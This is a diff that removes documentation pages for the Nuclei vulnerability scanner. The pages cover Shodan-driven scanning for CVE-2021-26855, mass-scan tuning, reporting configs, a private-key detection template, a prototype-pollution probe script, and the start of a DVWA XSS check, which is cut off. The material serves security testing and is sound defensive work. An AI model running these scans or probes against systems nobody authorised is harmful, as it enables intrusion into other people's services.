|
||||
Example of template execution using a search query.
|
||||
|
||||
```
|
||||
export SHODAN_API_KEY=xxx
|
||||
nuclei -id 'CVE-2021-26855' -uq 'vuln:CVE-2021-26855' -ue shodan
|
||||
```
|
||||
|
||||
It can also read queries from templates metadata and execute template against hosts returned by uncover for that query.
|
||||
|
||||
Example of template execution using template-defined search queries.
|
||||
|
||||
Template snippet of [CVE-2021-26855](https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-26855.yaml)
|
||||
|
||||
```yaml
|
||||
metadata:
|
||||
shodan-query: 'vuln:CVE-2021-26855'
|
||||
```
|
||||
|
||||
```console
|
||||
nuclei -t cves/2021/CVE-2021-26855.yaml -uncover
|
||||
nuclei -tags cve -uncover
|
||||
```
|
||||
|
||||
We can update the nuclei configuration file to include these tags for all scans.
|
||||
|
||||
## **Large scans** using Nuclei
|
||||
|
||||
Nuclei fully utilises resources to optimise scanning speed. However, when scanning **thousands**, if not **millions, of targets**, scanning using default parameter values is bound to cause some performance issues ex: low RPS, Slow Scans, Process Killed, High RAM consumption, etc. this is due to limited resources and network I/O. Hence following parameters need to be tuned based on system configuration and targets.
|
||||
|
||||
For enterprises dealing with large-scale scanning, optimizing Nuclei can be a burdensome task, especially when scans change frequently. That's where [Nuclei Enterprise](https://nuclei.sh/enterprise) comes in. With its managed offering and dedicated support, Nuclei Enterprise minimizes the burden of optimizing Nuclei on large scans, making it an ideal choice for enterprise-level scanning needs.
|
||||
|
||||
|
||||
| Flag | Short | Description |
|
||||
| ------------- | ----- | --------------------------------------------------------- |
|
||||
| scan-strategy | -ss | Scan Strategy to Use (auto/host-spray/template-spray) |
|
||||
| bulk-size | -bs | Max Number of targets to scan in parallel |
|
||||
| concurrency | -c | Max Number of templates to use in parallel while scanning |
|
||||
| stream | - | stream mode - start elaborating without sorting the input |
|
||||
|
||||
<Note>
|
||||
These are common parameters that need to be tuned. Apart from these
|
||||
`-rate-limit`, `-retries`, `-timeout`, `-max-host-error` also need to be tuned
|
||||
based on targets that are being scanned
|
||||
</Note>
|
||||
|
||||
### Which Scan Strategy to Use?
|
||||
|
||||
**scan-strategy** option can have three possible values
|
||||
|
||||
- `host-spray` : All templates are iterated over each target.
|
||||
- `template-spray` : Each template is iterated over all targets.
|
||||
- `auto`(Default) : Placeholder of `template-spray` for now.
|
||||
|
||||
User should select **Scan Strategy** based on number of targets and Each strategy has its own pros & cons.
|
||||
|
||||
- When targets < 1000, `template-spray` should be used. This strategy is slightly faster than `host-spray` but uses more RAM and does not optimally reuse connections.
|
||||
- When targets > 1000, `host-spray` should be used. This strategy uses less RAM than `template-spray` and reuses HTTP connections along with some minor improvements and these are crucial when mass scanning.
|
||||
|
||||
### Concurrency & Bulk-Size
|
||||
|
||||
Whatever the `scan-strategy` is `-concurrency` and `-bulk-size` are crucial for tuning any type of scan. While tuning these parameters following points should be noted.
|
||||
|
||||
**If `scan-strategy` is template-spray**
|
||||
|
||||
- `-concurrency` < `bulk-size` (Ex: `-concurrency 10 -bulk-size 200`)
|
||||
|
||||
**If `scan-strategy` is host-spray**
|
||||
|
||||
- `-concurrency` > `bulk-size` (Ex: `-concurrency 200 -bulk-size 10`)
|
||||
|
||||
<Tip> `-concurrency` x `-bulk-size` \<\= 2500 (depending on system config) </Tip>
|
||||
|
||||
### Stream
|
||||
|
||||
This option should only be enabled if targets > 10k . This skips any type of sorting or preprocessing on target list.
|
||||
|
||||
## Nuclei **Config**
|
||||
|
||||
> Since release of [v2.3.2](https://blog.projectdiscovery.io/nuclei-v2-3-0-release/) nuclei uses [goflags](https://github.com/projectdiscovery/goflags) for clean CLI experience and long/short formatted flags.
|
||||
>
|
||||
> [goflags](https://github.com/projectdiscovery/goflags) comes with auto-generated config file support that coverts all available CLI flags into config file, basically you can define all CLI flags into config file to avoid repetitive CLI flags that loads as default for every scan of nuclei.
|
||||
>
|
||||
> Default path of nuclei config file is `$HOME/.config/nuclei/config.yaml`, uncomment and configure the flags you wish to run as default.
|
||||
|
||||
Here is an example config file:
|
||||
|
||||
```yaml
|
||||
# Headers to include with all HTTP request
|
||||
header:
|
||||
- 'X-BugBounty-Hacker: h1/geekboy'
|
||||
|
||||
# Directory based template execution
|
||||
templates:
|
||||
- cves/
|
||||
- vulnerabilities/
|
||||
- misconfiguration/
|
||||
|
||||
# Tags based template execution
|
||||
tags: exposures,cve
|
||||
|
||||
# Template Filters
|
||||
tags: exposures,cve
|
||||
author: geeknik,pikpikcu,dhiyaneshdk
|
||||
severity: critical,high,medium
|
||||
|
||||
# Template Allowlist
|
||||
include-tags: dos,fuzz # Tag based inclusion (allows overwriting nuclei-ignore list)
|
||||
include-templates: # Template based inclusion (allows overwriting nuclei-ignore list)
|
||||
- vulnerabilities/xxx
|
||||
- misconfiguration/xxxx
|
||||
|
||||
# Template Denylist
|
||||
exclude-tags: info # Tag based exclusion
|
||||
exclude-templates: # Template based exclusion
|
||||
- vulnerabilities/xxx
|
||||
- misconfiguration/xxxx
|
||||
|
||||
# Rate Limit configuration
|
||||
rate-limit: 500
|
||||
bulk-size: 50
|
||||
concurrency: 50
|
||||
```
|
||||
|
||||
Once configured, **config file be used as default**, additionally custom config file can be also provided using `-config` flag.
|
||||
|
||||
<Note>
|
||||
**Running nuclei with custom config file**
|
||||
|
||||
```
|
||||
nuclei -config project.yaml -list urls.txt
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
## Nuclei **Reporting**
|
||||
|
||||
Nuclei comes with reporting module support with the release of [v2.3.0](https://nuclei.projectdiscovery.io/releases/nuclei-changelog/#nuclei-v230-10-march-2021) supporting GitHub, GitLab, and Jira integration, this allows nuclei engine to create automatic tickets on the supported platform based on found results.
|
||||
|
||||
| **Platform** | GitHub | GitLab | Jira | Markdown | SARIF | Elasticsearch | Splunk HEC |
|
||||
| ------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **Support** | <svg className="dark:fill-gray-300" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg className="dark:fill-gray-300" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg className="dark:fill-gray-300" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg className="dark:fill-gray-300" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg className="dark:fill-gray-300" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg className="dark:fill-gray-300" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg className="dark:fill-gray-300" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> |
|
||||
|
||||
`-rc, -report-config` flag can be used to provide a config file to read configuration details of the platform to integrate. Here is an [example config file](https://github.com/projectdiscovery/nuclei/blob/main/cmd/nuclei/issue-tracker-config.yaml) for all supported platforms.
|
||||
|
||||
For example, to create tickets on GitHub, create a config file with the following content and replace the appropriate values:
|
||||
|
||||
```yaml
|
||||
# GitHub contains configuration options for GitHub issue tracker
|
||||
|
||||
github:
|
||||
username: '$user'
|
||||
owner: '$user'
|
||||
token: '$token'
|
||||
project-name: 'testing-project'
|
||||
issue-label: 'Nuclei'
|
||||
```
|
||||
|
||||
Alternatively if you use GitLab, create a config file following content and replace the appropriate values:
|
||||
|
||||
```yaml
|
||||
# GitLab contains configuration options for GitLab issue tracker
|
||||
|
||||
gitlab:
|
||||
username: '$user'
|
||||
base-url: 'gitlab.com'
|
||||
token: '$token'
|
||||
project-name: 'testing-project'
|
||||
issue-label: 'nuclei-label'
|
||||
severity-as-label: true
|
||||
duplicate-issue-check: true
|
||||
```
|
||||
|
||||
To store results in Elasticsearch, create a config file with the following content and replace the appropriate values:
|
||||
|
||||
```yaml
|
||||
# elasticsearch contains configuration options for elasticsearch exporter
|
||||
elasticsearch:
|
||||
# IP for elasticsearch instance
|
||||
ip: 127.0.0.1
|
||||
# Port is the port of elasticsearch instance
|
||||
port: 9200
|
||||
# IndexName is the name of the elasticsearch index
|
||||
index-name: nuclei
|
||||
```
|
||||
|
||||
To forward results to Splunk HEC, create a config file with the following content and replace the appropriate values:
|
||||
|
||||
```yaml
|
||||
# splunkhec contains configuration options for splunkhec exporter
|
||||
splunkhec:
|
||||
# Hostname for splunkhec instance
|
||||
host: '$hec_host'
|
||||
# Port is the port of splunkhec instance
|
||||
port: 8088
|
||||
# IndexName is the name of the splunkhec index
|
||||
index-name: nuclei
|
||||
# SSL enables ssl for splunkhec connection
|
||||
ssl: true
|
||||
# SSLVerification disables SSL verification for splunkhec
|
||||
ssl-verification: true
|
||||
# HEC Token for the splunkhec instance
|
||||
token: '$hec_token'
|
||||
```
|
||||
|
||||
To forward results to Jira, create a config file with the following content and replace the appropriate values:
|
||||
|
||||
The Jira reporting options allows for custom fields, as well as using variables from the Nuclei templates in those custom fields.
|
||||
The supported variables currently are: `$CVSSMetrics`, `$CVEID`, `$CWEID`, `$Host`, `$Severity`, `$CVSSScore`, `$Name`
|
||||
|
||||
In addition, Jira is strict when it comes to custom field entry. If the field is a dropdown, Jira accepts only the case sensitive specific string and the API call is slightly different. To support this, there are three types of customfields.
|
||||
|
||||
- `name` is the dropdown value
|
||||
- `id` is the ID value of the dropdown
|
||||
- `freeform` is if the customfield the entry of any value
|
||||
|
||||
To avoid duplication, the JQL query run can be slightly modified by the config file.
|
||||
The `CLOSED_STATUS` can be changed in the Jira template file using the `status-not` variable.
|
||||
`summary ~ TEMPLATE_NAME AND summary ~ HOSTNAME AND status != CLOSED_STATUS`
|
||||
|
||||
```yaml
|
||||
jira:
|
||||
# cloud is the boolean which tells if Jira instance is running in the cloud or on-prem version is used
|
||||
cloud: true
|
||||
# update-existing is the boolean which tells if the existing, opened issue should be updated or new one should be created
|
||||
update-existing: false
|
||||
# URL is the jira application url
|
||||
url: https://localhost/jira
|
||||
# account-id is the account-id of the Jira user or username in case of on-prem Jira
|
||||
account-id: test-account-id
|
||||
# email is the email of the user for Jira instance
|
||||
email: [email protected]
|
||||
# token is the token for Jira instance or password in case of on-prem Jira
|
||||
token: test-token
|
||||
#project-name is the name of the project.
|
||||
project-name: test-project-name
|
||||
#issue-type is the name of the created issue type (case sensitive)
|
||||
issue-type: Bug
|
||||
# SeverityAsLabel (optional) sends the severity as the label of the created issue
|
||||
# User custom fields for Jira Cloud instead
|
||||
severity-as-label: true
|
||||
# Whatever your final status is that you want to use as a closed ticket - Closed, Done, Remediated, etc
|
||||
# When checking for duplicates, the JQL query will filter out status's that match this.
|
||||
# If it finds a match _and_ the ticket does have this status, a new one will be created.
|
||||
status-not: Closed
|
||||
# Customfield supports name, id and freeform. name and id are to be used when the custom field is a dropdown.
|
||||
# freeform can be used if the custom field is just a text entry
|
||||
# Variables can be used to pull various pieces of data from the finding itself.
|
||||
# Supported variables: $CVSSMetrics, $CVEID, $CWEID, $Host, $Severity, $CVSSScore, $Name
|
||||
custom_fields:
|
||||
customfield_00001:
|
||||
name: 'Nuclei'
|
||||
customfield_00002:
|
||||
freeform: $CVSSMetrics
|
||||
customfield_00003:
|
||||
freeform: $CVSSScore
|
||||
```
|
||||
|
||||
**Running nuclei with reporting module:**
|
||||
|
||||
```bash
|
||||
nuclei -l urls.txt -t cves/ -rc issue-tracker.yaml
|
||||
```
|
||||
|
||||
Similarly, other platforms can be configured. Reporting module also supports basic filtering and duplicate checks to avoid duplicate ticket creation.
|
||||
|
||||
```yaml
|
||||
allow-list:
|
||||
severity: high,critical
|
||||
```
|
||||
|
||||
This will ensure to only creating tickets for issues identified with **high** and **critical** severity; similarly, `deny-list` can be used to exclude issues with a specific severity.
|
||||
|
||||
If you are running periodic scans on the same assets, you might want to consider `-rdb, -report-db` flag that creates a local copy of the valid findings in the given directory utilized by reporting module to compare and **create tickets for unique issues only**.
|
||||
|
||||
```bash
|
||||
nuclei -l urls.txt -t cves/ -rc issue-tracker.yaml -rdb prod
|
||||
```
|
||||
|
||||
**<ins>Markdown Export</ins>**
|
||||
|
||||
Nuclei supports markdown export of valid findings with `-me, -markdown-export` flag, this flag takes directory as input to store markdown formatted reports.
|
||||
|
||||
Including request/response in the markdown report is optional, and included when `-irr, -include-rr` flag is used along with `-me`.
|
||||
|
||||
```bash
|
||||
nuclei -l urls.txt -t cves/ -irr -markdown-export reports
|
||||
```
|
||||
|
||||
**<ins>SARIF Export</ins>**
|
||||
|
||||
Nuclei supports SARIF export of valid findings with `-se, -sarif-export` flag. This flag takes a file as input to store SARIF formatted report.
|
||||
|
||||
```bash
|
||||
nuclei -l urls.txt -t cves/ -sarif-export report.sarif
|
||||
```
|
||||
|
||||
It is also possible to visualize Nuclei results using **SARIF** files.
|
||||
|
||||
1. By uploading a SARIF file to [SARIF Viewer](https://microsoft.github.io/sarif-web-component/)
|
||||
|
||||
2. By uploading a SARIF file to [Github Actions](https://docs.github.com/en/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github)
|
||||
|
||||
More info on the SARIF output is documented [here](https://github.com/projectdiscovery/nuclei/pull/2925).
|
||||
|
||||
<Note>
|
||||
These are **not official** viewers of Nuclei and `Nuclei` has no liability
|
||||
towards any of these options to visualize **Nuclei** results. These are just
|
||||
some publicly available options to visualize SARIF files.
|
||||
</Note>
|
||||
|
||||
## Scan **Metrics**
|
||||
|
||||
Nuclei expose running scan metrics on a local port `9092` when `-metrics` flag is used and can be accessed at **localhost:9092/metrics**, default port to expose scan information is configurable using `-metrics-port` flag.
|
||||
|
||||
Here is an example to query `metrics` while running nuclei as following `nuclei -t cves/ -l urls.txt -metrics`
|
||||
|
||||
```bash
|
||||
curl -s localhost:9092/metrics | jq .
|
||||
```
|
||||
|
||||
```json
|
||||
{
|
||||
"duration": "0:00:03",
|
||||
"errors": "2",
|
||||
"hosts": "1",
|
||||
"matched": "0",
|
||||
"percent": "99",
|
||||
"requests": "350",
|
||||
"rps": "132",
|
||||
"startedAt": "2021-03-27T18:02:18.886745+05:30",
|
||||
"templates": "256",
|
||||
"total": "352"
|
||||
}
|
||||
```
|
||||
|
||||
## Passive Scan
|
||||
|
||||
Nuclei engine supports passive mode scanning for HTTP based template utilizing file support, with this support we can run HTTP based templates against locally stored HTTP response data collected from any other tool.
|
||||
|
||||
```sh
|
||||
nuclei -passive -target http_data
|
||||
```
|
||||
|
||||
<Note>Passive mode support is limited for templates having `{{BasedURL}}` or `{{BasedURL/}}` as base path.</Note>
|
||||
|
||||
## Running With Docker
|
||||
If Nuclei was installed within a Docker container based on the [installation instructions](./install),
|
||||
the executable does not have the context of the host machine. This means that the executable will not be able to access
|
||||
local files such as those used for input lists or templates. To resolve this, the container should be run with volumes
|
||||
mapped to the local filesystem to allow access to these files.
|
||||
|
||||
### Basic Usage
|
||||
This example runs a Nuclei container against `google.com`, prints the results to JSON and removes the container once it
|
||||
has completed:
|
||||
```sh
|
||||
docker run --rm projectdiscovery/nuclei -u google.com -jsonl
|
||||
```
|
||||
|
||||
### Using Volumes
|
||||
This example runs a Nuclei container against a list of URLs, writes the results to a `.jsonl` file and removes the
|
||||
container once it has completed.
|
||||
```sh
|
||||
# This assumes there's a file called `urls.txt` in the current directory
|
||||
docker run --rm -v ./:/app/ projectdiscovery/nuclei -l /app/urls.txt -jsonl /app/results.jsonl
|
||||
# The results will be written to `./results.jsonl` on the host machine once the container has completed
|
||||
```
|
||||
|
Before Width: | Height: | Size: 490 KiB |
|
Before Width: | Height: | Size: 384 KiB |
|
Before Width: | Height: | Size: 1.0 MiB |
|
Before Width: | Height: | Size: 618 KiB |
|
Before Width: | Height: | Size: 23 KiB |
|
Before Width: | Height: | Size: 28 KiB |
@@ -1,148 +0,0 @@
|
||||
{
|
||||
"$schema":"https://mintlify.com/schema.json",
|
||||
"name":"Nuclei Documentation",
|
||||
"logo":{
|
||||
"dark":"/logo/dark.png",
|
||||
"light":"/logo/light.png"
|
||||
},
|
||||
"favicon":"/favicon.png",
|
||||
"colors":{
|
||||
"primary":"#3B2FC9",
|
||||
"light":"#6673FF",
|
||||
"dark":"#3B2FC9"
|
||||
},
|
||||
"backgroundImage":"/images/background.png",
|
||||
"topbarCtaButton":{
|
||||
"type":"github",
|
||||
"url":"https://github.com/projectdiscovery/nuclei"
|
||||
},
|
||||
"topAnchor":{
|
||||
"name":"Getting Started",
|
||||
"icon":"circle-play"
|
||||
},
|
||||
"primaryTab":{
|
||||
"name":"Getting Started"
|
||||
},
|
||||
"tabs":[
|
||||
{
|
||||
"name":"Template Guide",
|
||||
"url":"template-guide"
|
||||
},
|
||||
{
|
||||
"name":"Template Example",
|
||||
"url":"template-example"
|
||||
},
|
||||
{
|
||||
"name":"Template Editor",
|
||||
"url":"editor"
|
||||
},
|
||||
{
|
||||
"name":"FAQ",
|
||||
"url":"faq"
|
||||
}
|
||||
],
|
||||
"navigation":[
|
||||
{
|
||||
"group":"Getting Started",
|
||||
"pages":[
|
||||
"getting-started/overview",
|
||||
"getting-started/features",
|
||||
"getting-started/install",
|
||||
"getting-started/running"
|
||||
]
|
||||
},
|
||||
{
|
||||
"group":"Template Guide",
|
||||
"pages":[
|
||||
"template-guide/introduction",
|
||||
"template-guide/template-details",
|
||||
{
|
||||
"group":"HTTPs",
|
||||
"pages":[
|
||||
"template-guide/http/base-http",
|
||||
"template-guide/http/raw-http",
|
||||
"template-guide/http/http-payloads",
|
||||
"template-guide/http/http-fuzzing",
|
||||
"template-guide/http/unsafe-http",
|
||||
"template-guide/http/advance-http"
|
||||
]
|
||||
},
|
||||
"template-guide/headless",
|
||||
"template-guide/network",
|
||||
"template-guide/dns",
|
||||
"template-guide/file",
|
||||
"template-guide/javascript",
|
||||
"template-guide/code",
|
||||
"template-guide/multi",
|
||||
"template-guide/flow",
|
||||
{
|
||||
"group":"Operators",
|
||||
"pages":[
|
||||
"template-guide/operators/matchers",
|
||||
"template-guide/operators/extractors"
|
||||
]
|
||||
},
|
||||
"template-guide/oob-testing",
|
||||
"template-guide/helper-functions",
|
||||
"template-guide/variables",
|
||||
"template-guide/preprocessors",
|
||||
"template-guide/workflows"
|
||||
]
|
||||
},
|
||||
{
|
||||
"group":"Template Example",
|
||||
"pages":[
|
||||
{
|
||||
"group":"HTTP",
|
||||
"pages":[
|
||||
"template-example/http/base-http",
|
||||
"template-example/http/raw-http",
|
||||
"template-example/http/http-fuzzing",
|
||||
"template-example/http/http-smuggling",
|
||||
"template-example/http/http-payloads",
|
||||
"template-example/http/http-race-conditions"
|
||||
]
|
||||
},
|
||||
"template-example/dns",
|
||||
"template-example/file",
|
||||
"template-example/headless",
|
||||
"template-example/network",
|
||||
"template-example/workflow",
|
||||
"template-example/helper-functions"
|
||||
]
|
||||
},
|
||||
{
|
||||
"group":"Editor",
|
||||
"pages":[
|
||||
"editor/introduction",
|
||||
"editor/ai",
|
||||
"editor/share",
|
||||
"editor/shortcut",
|
||||
{
|
||||
"group":"REST API",
|
||||
"pages":[
|
||||
"editor/api/scan",
|
||||
"editor/api/generate"
|
||||
]
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"group":"FAQ",
|
||||
"pages":[
|
||||
"faq/nuclei",
|
||||
"faq/templates",
|
||||
"faq/editor"
|
||||
]
|
||||
}
|
||||
],
|
||||
"footerSocials":{
|
||||
"twitter":"https://twitter.com/pdnuclei",
|
||||
"github":"https://github.com/projectdiscovery/nuclei",
|
||||
"discord":"https://discord.com/invite/projectdiscovery"
|
||||
},
|
||||
"feedback":{
|
||||
"thumbsRating":true,
|
||||
"suggestEdit":true
|
||||
}
|
||||
}
|
||||
@@ -1,58 +0,0 @@
|
||||
---
|
||||
title: "DNS"
|
||||
---
|
||||
|
||||
## Basic template
|
||||
|
||||
Basic DNS Request to detect if a CNAME record exists for an input.
|
||||
|
||||
```yaml
|
||||
id: basic-dns-example
|
||||
|
||||
info:
|
||||
name: Test DNS Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
dns:
|
||||
- name: "{{FQDN}}"
|
||||
type: CNAME
|
||||
class: inet
|
||||
recursion: true
|
||||
retries: 3
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
# The response must contain a CNAME record
|
||||
- "IN\tCNAME"
|
||||
```
|
||||
|
||||
## Multiple matcher
|
||||
|
||||
An example showcasing multiple matchers of nuclei, allowing detection of Subdomains with CNAME records that point to either `zendesk.com` or `github.io`.
|
||||
|
||||
```yaml
|
||||
id: multiple-matcher
|
||||
|
||||
info:
|
||||
name: Test DNS Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
dns:
|
||||
- name: "{{FQDN}}"
|
||||
type: CNAME
|
||||
class: inet
|
||||
recursion: true
|
||||
retries: 5
|
||||
matchers-condition: or
|
||||
matchers:
|
||||
- type: word
|
||||
name: zendesk
|
||||
words:
|
||||
- "zendesk.com"
|
||||
- type: word
|
||||
name: github
|
||||
words:
|
||||
- "github.io"
|
||||
```
|
||||
@@ -1,58 +0,0 @@
|
||||
---
|
||||
title: "File"
|
||||
---
|
||||
|
||||
## Basic File Template
|
||||
|
||||
This template checks for a pattern in provided files.
|
||||
|
||||
```yaml
|
||||
id: ssh-public-key
|
||||
|
||||
info:
|
||||
name: SSH Public Key Detect
|
||||
author: pd-team
|
||||
severity: low
|
||||
|
||||
file:
|
||||
- extensions:
|
||||
- pub
|
||||
max-size: 1024 # read very small chunks
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "ssh-rsa"
|
||||
```
|
||||
|
||||
## Extension Denylist with No-Recursive
|
||||
|
||||
The below template is same as last one, but it makes use of an extension denylist along with the no-recursive option.
|
||||
|
||||
```yaml
|
||||
id: ssh-private-key
|
||||
|
||||
info:
|
||||
name: SSH Private Key Detect
|
||||
author: pd-team
|
||||
severity: high
|
||||
|
||||
file:
|
||||
- extensions:
|
||||
- all
|
||||
denylist:
|
||||
- pub
|
||||
no-recursive: true
|
||||
max-size: 1024 # read very small chunks
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "BEGIN OPENSSH PRIVATE KEY"
|
||||
- "BEGIN PRIVATE KEY"
|
||||
- "BEGIN RSA PRIVATE KEY"
|
||||
- "BEGIN DSA PRIVATE KEY"
|
||||
- "BEGIN EC PRIVATE KEY"
|
||||
- "BEGIN PGP PRIVATE KEY BLOCK"
|
||||
- "ssh-rsa"
|
||||
```
|
||||
@@ -1,276 +0,0 @@
|
||||
---
|
||||
title: "Headless"
|
||||
---
|
||||
|
||||
## Basic Headless Navigation Example
|
||||
|
||||
This template visits a URL in the headless browser and waits for it to load.
|
||||
|
||||
```yaml
|
||||
id: basic-headless-request
|
||||
|
||||
info:
|
||||
name: Basic Headless Request
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
headless:
|
||||
- steps:
|
||||
- action: navigate
|
||||
args:
|
||||
url: "{{BaseURL}}"
|
||||
- action: waitload
|
||||
```
|
||||
|
||||
## Headless prototype pollution detection
|
||||
|
||||
The below template detects prototype pollution on pages with Nuclei headless capabilities. The code for detection is taken from [https://github.com/msrkp/PPScan](https://github.com/msrkp/PPScan). We make use of script injection capabilities of nuclei to provide reliable detection for prototype pollution.
|
||||
|
||||
```yaml
|
||||
id: prototype-pollution-check
|
||||
|
||||
info:
|
||||
name: Prototype Pollution Check
|
||||
author: pd-team
|
||||
severity: medium
|
||||
reference: https://github.com/msrkp/PPScan
|
||||
|
||||
headless:
|
||||
- steps:
|
||||
- action: setheader
|
||||
args:
|
||||
part: response
|
||||
key: Content-Security-Policy
|
||||
value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
|
||||
- action: setheader
|
||||
args:
|
||||
part: response
|
||||
key: X-Frame-Options
|
||||
value: foo
|
||||
- action: setheader
|
||||
args:
|
||||
part: response
|
||||
key: If-None-Match
|
||||
value: foo
|
||||
# Set the hook to override window.data for xss detection
|
||||
- action: script
|
||||
args:
|
||||
hook: true
|
||||
code: |
|
||||
// Hooking code adapted from https://github.com/msrkp/PPScan/blob/main/scripts/content_script.js
|
||||
(function() {window.alerts = [];
|
||||
|
||||
function logger(found) {
|
||||
window.alerts.push(found);
|
||||
}
|
||||
|
||||
function check() {
|
||||
loc = location.href;
|
||||
|
||||
if (loc.indexOf("e32a5ec9c99") >= 0 && loc.search("a0def12bce") == -1) {
|
||||
setTimeout(function() {
|
||||
if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60") {
|
||||
logger(location.href);
|
||||
}
|
||||
var url = new URL(location.origin + location.pathname);
|
||||
url.hash = "__proto__[a0def12bce]=ddcb362f1d60&__proto__.a0def12bce=ddcb362f1d60&dummy";
|
||||
location = url.href;
|
||||
}, 5 * 1000);
|
||||
} else if (loc.search("a0def12bce") != -1) {
|
||||
setTimeout(function() {
|
||||
if (Object.prototype.a0def12bce == "ddcb362f1d60") {
|
||||
logger(location.href);
|
||||
}
|
||||
window.close();
|
||||
}, 5 * 1000);
|
||||
} else {
|
||||
var url = new URL(loc);
|
||||
url.searchParams.append("__proto__[e32a5ec9c99]", "ddcb362f1d60");
|
||||
url.searchParams.append("__proto__.e32a5ec9c99", "ddcb362f1d60");
|
||||
location = url.href;
|
||||
}
|
||||
}
|
||||
|
||||
window.onload = function() {
|
||||
if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60" || Object.prototype.a0def12bce == "ddcb362f1d60") {
|
||||
logger(location.href);
|
||||
} else {
|
||||
check();
|
||||
}
|
||||
};
|
||||
|
||||
var timerID = setInterval(function() {
|
||||
if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60" || Object.prototype.a0def12bce == "ddcb362f1d60") {
|
||||
logger(location.href);
|
||||
clearInterval(timerID);
|
||||
}
|
||||
}, 5 * 1000)})();
|
||||
- args:
|
||||
url: "{{BaseURL}}"
|
||||
action: navigate
|
||||
- action: waitload
|
||||
- action: script
|
||||
name: alerts
|
||||
args:
|
||||
code: "window.alerts"
|
||||
matchers:
|
||||
- type: word
|
||||
part: alerts
|
||||
words:
|
||||
- "__proto__"
|
||||
extractors:
|
||||
- type: kval
|
||||
part: alerts
|
||||
kval:
|
||||
- alerts
|
||||
```
|
||||
|
||||
## DVWA XSS Reproduction With Headless Mode
|
||||
|
||||
This template logs into DVWA (Damn Vulnerable Web App) and tries to automatically reproduce a Reflected XSS, returning a match if it found that the payload was executed successfully.
|
||||
|
||||
```yaml
|
||||
id: dvwa-xss-verification
|
||||
|
||||
info:
|
||||
name: DVWA Reflected XSS Verification
|
||||
author: pd-team
|
||||
severity: info
|
||||
|
||||
headless:
|
||||
- steps:
|
||||
- args:
|
||||
url: "{{BaseURL}}"
|
||||
action: navigate
|
||||
- action: waitload
|
||||
|
||||
# Set the hook to override window.data for xss detection
|
||||
- action: script
|
||||
args:
|
||||
hook: true
|
||||
